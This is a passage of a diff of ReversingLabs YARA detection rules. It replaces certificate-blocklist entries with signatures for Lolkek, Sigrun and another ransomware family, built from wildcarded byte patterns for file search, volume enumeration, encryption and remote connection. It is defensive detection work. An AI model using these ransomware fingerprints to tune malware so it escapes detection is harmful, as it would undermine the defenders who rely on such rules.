8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? ?? 52 68 + ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 8D 94 24 ?? ?? ?? ?? 8B C7 2B D7 8D 9B ?? ?? ?? ?? 0F B7 08 66 89 0C 02 83 C0 + ?? 66 3B CE 75 ?? 8D 84 24 ?? ?? ?? ?? 83 C0 ?? 8D A4 24 ?? ?? ?? ?? 66 8B 48 ?? 83 + C0 ?? 66 3B CE 75 ?? 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 08 66 8B 0D ?? ?? ?? ?? + 89 50 ?? 68 ?? ?? ?? ?? 66 89 48 ?? FF 15 ?? ?? ?? ?? 8D 54 24 ?? 52 8D 84 24 ?? ?? + ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 75 ?? 68 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B E5 + 5D C2 ?? ?? 8D A4 24 ?? ?? ?? ?? 8B 7D ?? 8B 35 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 68 ?? + ?? ?? ?? 51 FF D6 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 54 24 ?? 68 ?? ?? ?? ?? + 52 FF D6 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? F6 44 24 ?? ?? 0F 85 ?? ?? ?? ?? 8D 44 24 + ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 0F 84 ?? ?? ?? ?? 66 83 3D ?? ?? + ?? ?? ?? BF ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B C7 8D 50 ?? EB ?? 8D 9B ?? ?? ?? ?? 66 + 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 8B CB D1 F8 8D 71 ?? 66 8B 11 83 C1 ?? 66 85 D2 + } + $search_files_p2 = { + 75 ?? 2B CE D1 F9 3B C1 75 ?? 53 57 FF 15 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 66 8B 0F + 83 C7 ?? 66 85 C9 75 ?? 66 39 0F 75 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 64 8B 15 ?? ?? ?? ?? 8B 32 8B 55 ?? 83 C4 ?? 8D 4C 24 ?? 51 52 68 ?? ?? ?? ?? 50 + 89 46 ?? FF 15 ?? ?? ?? ?? 8B 46 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 85 + C0 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 F8 ?? 7D ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 8B 4E ?? 6A ?? 6A ?? 51 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 15 ?? ?? ?? + ?? 89 04 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 6A ?? 51 FF 15 ?? ?? ?? + ?? E9 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF + D3 8B F8 6A ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 8B 56 ?? 6A ?? 6A ?? 52 68 ?? ?? ?? ?? 6A ?? 6A ?? FF D3 8B 0D ?? ?? ?? ?? 89 + 04 8D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 04 95 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? + E9 ?? ?? ?? ?? 8D 4C 24 ?? 51 57 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 FF 15 ?? ?? + ?? ?? A1 ?? ?? ?? ?? 48 50 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 FF D6 83 C4 ?? 85 + C0 0F 84 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 C4 + ?? 85 C0 75 ?? 8D 9B ?? ?? ?? ?? 0F B7 8C 04 ?? ?? ?? ?? 66 89 8C 04 ?? ?? ?? ?? 83 + C0 ?? 66 85 C9 75 ?? 8D BC 24 ?? ?? ?? ?? 83 C7 ?? 66 8B 47 ?? 83 C7 ?? 66 85 C0 75 + ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 68 ?? ?? ?? ?? F3 A5 + FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 54 24 ?? 52 + 50 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 74 24 ?? 56 FF 15 + } + $remote_connection = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 45 ?? 8B 0D ?? ?? ?? ?? 0F B6 15 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 3D ?? + ?? ?? ?? 8D 70 ?? 8B 00 56 68 ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 52 0F B7 15 ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 52 8B 15 ?? ?? ?? ?? 51 52 50 + 6A ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 FF D7 83 C4 ?? 80 3E ?? 74 ?? B9 ?? ?? ?? + ?? 8B C6 EB ?? 8D 49 ?? C6 00 ?? 40 49 75 ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 8D 50 ?? 8D 49 ?? 8A 08 40 84 C9 75 ?? 8D 8D ?? ?? ?? ?? 51 2B C2 + 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 FF D7 8D 85 ?? + ?? ?? ?? 83 C4 ?? 8D 50 ?? 8A 08 40 84 C9 75 ?? 6A ?? 2B C2 50 8D 85 ?? ?? ?? ?? 50 + 53 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 9B ?? ?? ?? ?? C6 00 ?? 40 + 49 75 ?? 53 FF 15 ?? ?? ?? ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C2 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Microsoft Enforced Licensing Registration Authority CA (SHA1)" and pe.signatures [ i ] . serial == "61:02:b0:19:00:00:00:00:00:2f" ) + uint16( 0 ) == 0x5A4D and ( $remote_connection and ( all of ( $search_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_01E2B4F759811C64379Fca0Be76D2Dce : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Lolkek : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Lolkek ransomware." author = "ReversingLabs" - id = "00effc8a-066c-54ff-891e-c635d161b171" - date = "2020-08-05" - modified = "2023-11-08" + id = "441badd6-3708-5f74-90f3-4d3a0fc45aff" + date = "2020-10-23" + modified = "2020-10-23" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1108-L1124" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Lolkek.yara#L1-L106" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0dff7a9f2e152c20427ea231449b942a040e964cb7dad90271d2865290535326" + logic_hash = "d18545b25a33bba1a6e01ab37768bd4f15fb125dcb8cbe7909d9a8bbe08e63fa" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Lolkek" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files = { + 57 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? + ?? ?? ?? B9 ?? ?? ?? ?? FF 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 3C 85 ?? ?? ?? ?? 40 99 + F7 F9 89 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 8B CF E8 ?? ?? ?? ?? 85 C0 74 + ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8B F0 68 ?? ?? ?? ?? 56 FF D3 83 + C4 ?? 56 57 FF 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? + 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? ?? + ?? ?? B9 ?? ?? ?? ?? FF 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 3C 85 ?? ?? ?? ?? 40 99 F7 + F9 89 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 85 FF 0F 85 ?? ?? ?? ?? 5E 5B 33 C0 5F C2 + } + $find_volumes_p1 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 + 57 E8 ?? ?? ?? ?? 6A ?? 8D 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 6A ?? 50 C7 44 + 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 + 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? + ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 + 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? + ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 + ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? + ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 83 C4 ?? 89 74 24 ?? 33 + } + $find_volumes_p2 = { + FF 8B 5C BC ?? 53 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 89 9C B4 ?? ?? ?? ?? 46 47 83 FF + ?? 7C ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ?? ?? ?? ?? 68 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 57 FF 15 ?? + ?? ?? ?? 8B D8 0F 1F 00 85 F6 74 ?? 8D 44 24 ?? 50 6A ?? 8D 84 24 ?? ?? ?? ?? 50 57 + FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 + ?? 4E 57 FF B4 B4 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? + ?? 85 C0 75 ?? 53 FF 15 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? + ?? ?? 83 C4 ?? 8B 3D ?? ?? ?? ?? 33 F6 8B 1D ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? FF + D7 33 D2 B9 ?? ?? ?? ?? F7 F1 68 ?? ?? ?? ?? 80 C2 ?? 88 94 34 ?? ?? ?? ?? FF D3 46 + 83 FE ?? 7C ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 83 C4 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 FF 15 + } + $find_files_p1 = { + 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41 + F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F C9 C3 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? + ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? + FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? + 8B CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? + 8B 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B EB ?? 33 FF 57 57 + 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 + 45 ?? 8B 4D ?? 8B 55 ?? 53 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 + ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? + ?? ?? 8A 01 88 85 ?? ?? ?? ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 + ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? + 3C ?? 8A C3 75 ?? B0 ?? 2B CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D + } + $find_files_p2 = { + 56 1B C0 89 9D ?? ?? ?? ?? 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? + ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 8D ?? ?? ?? ?? F7 D8 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? + ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B + D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D + ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? + 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? + 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? + ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? + ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? + ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 + C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 + ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 59 8B D8 56 FF 15 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 59 8B C3 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Sony Pictures Entertainment Inc." and pe.signatures [ i ] . serial == "01:e2:b4:f7:59:81:1c:64:37:9f:ca:0b:e7:6d:2d:ce" and 1417651200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_volumes_p* ) ) and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_03E5A010B05C9287F823C2585F547B80 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Sigrun : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Sigrun ransomware." author = "ReversingLabs" - id = "14ad79c7-f669-59a6-94d1-978a13fbb337" - date = "2020-08-05" - modified = "2023-11-08" + id = "fa627192-ed80-5115-a028-014f67f4571d" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1126-L1142" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sigrun.yara#L1-L111" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1d57b640ee313ad4d53dc64ce4df3e4ed57976e7750cfd80d62bf9982d964d26" + logic_hash = "ea29ec64cdfc0c714fe0acdce5878cb1302dd5aa916811121c644948ce275935" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Sigrun" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 83 7D ?? ?? 53 56 57 8B DA C7 44 24 ?? ?? ?? ?? + ?? 8B F1 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? 89 7C 24 ?? 85 C0 75 ?? 85 FF + 75 ?? 5F 5E 5B 8B E5 5D C3 C7 44 24 ?? ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? + A1 ?? ?? ?? ?? 89 44 24 ?? A1 ?? ?? ?? ?? 89 44 24 ?? 0F B7 06 66 89 44 24 ?? 83 F8 + ?? 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 + FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF D7 8D + 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75 + ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 + ?? 8D 44 24 ?? 50 56 FF D7 F6 44 24 ?? ?? 74 ?? 83 7C 24 ?? ?? 74 ?? BA ?? ?? ?? ?? + 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF D7 6A ?? 8B D3 8B CE E8 ?? ?? + ?? ?? EB ?? 68 ?? ?? ?? ?? 56 FF D7 6A ?? 8B D3 8B CE E8 ?? ?? ?? ?? EB ?? 53 8D 54 + 24 ?? 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 + 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E + 33 C0 5B 8B E5 5D C3 + } + $encrypt_files_1 = { + 55 8B EC 83 EC ?? 53 57 68 ?? ?? ?? ?? 8B FA 8B D9 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5F 33 C0 5B 8B E5 5D C3 + 56 8D 45 ?? 33 F6 50 56 56 57 53 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 45 ?? + C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 68 ?? + ?? ?? ?? 50 FF 75 ?? C7 00 ?? ?? ?? ?? 56 6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 8B F0 + FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C6 5E 5F 5B 8B E5 5D C3 + } + $encrypt_files_2 = { + 55 8B EC 53 56 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B DA 8B F9 FF 15 ?? ?? + ?? ?? 57 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B CF E8 ?? ?? ?? ?? 85 + C0 74 ?? 68 ?? ?? ?? ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 5D C3 8B CF E8 ?? + ?? ?? ?? 85 C0 75 ?? 83 7B ?? ?? 72 ?? 8B 55 ?? 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 56 + 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 5F 5E B8 ?? ?? ?? ?? + 5B 5D C3 + } + $encrypt_files_3 = { + 55 8B EC 83 EC ?? 56 57 E8 ?? ?? ?? ?? 85 C0 75 ?? 83 C8 ?? 5F 5E 8B E5 5D C3 8D 45 + ?? 50 8D 45 ?? 50 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 8D 4D ?? 8B D7 E8 + ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 85 C9 74 ?? 8B 45 ?? 85 C0 74 ?? + C6 04 08 ?? 8B 4D ?? 68 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 + ?? FF D6 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 05 ?? ?? ?? ?? + ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D6 68 ?? ?? ?? ?? 6A ?? + 57 FF D6 5F 33 C0 5E 8B E5 5D C3 + } + $enum_resources_1 = { + 55 8B EC 83 E4 ?? 83 EC ?? 53 56 57 8B 3D ?? ?? ?? ?? 8B F1 6A ?? 68 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 6A ?? 89 54 24 ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? FF D7 8B 1D ?? ?? + ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 85 F6 0F 85 ?? ?? + ?? ?? 8D 44 24 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF D3 85 C0 0F 85 ?? ?? ?? ?? 8D 44 24 + ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF + 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 49 ?? 33 DB 39 5C 24 ?? 0F 86 + ?? ?? ?? ?? 8B 74 24 ?? 83 C6 ?? 83 7E ?? ?? 75 ?? 8B 06 6A ?? 68 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 6A ?? 89 44 24 ?? FF D7 8B F8 85 FF 74 ?? FF 74 24 ?? 68 ?? ?? ?? ?? 57 FF + 15 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 8B CF 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? + 6A ?? 57 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? F6 46 ?? ?? 74 ?? FF 75 ?? 8B 54 24 ?? + 8D 4E ?? E8 ?? ?? ?? ?? 83 C4 ?? 43 83 C6 ?? 3B 5C 24 ?? 72 ?? 8D 44 24 ?? C7 44 24 + ?? ?? ?? ?? ?? 50 FF 74 24 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? FF + } + $enum_resources_2 = { + 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 74 24 ?? FF 74 24 ?? FF + 15 ?? ?? ?? ?? 8D 44 24 ?? 50 56 6A ?? 6A ?? 6A ?? FF D3 8B F0 85 F6 0F 85 ?? ?? ?? + ?? 8B 74 24 ?? 8D 44 24 ?? 50 56 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? + C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 9B ?? ?? ?? ?? + 33 DB 39 5C 24 ?? 0F 86 ?? ?? ?? ?? 83 C6 ?? 90 83 7E ?? ?? 75 ?? 8B 06 6A ?? 68 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 89 44 24 ?? FF D7 8B F8 85 FF 74 ?? FF 74 24 ?? 68 ?? + ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 8B CF 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? + 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? F6 46 ?? ?? 74 ?? FF 75 ?? 8B 54 24 ?? 8D + 4E ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 3D ?? ?? ?? ?? 43 83 C6 ?? 3B 5C 24 ?? 72 ?? 8B 74 + 24 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 56 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? + 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 3D ?? 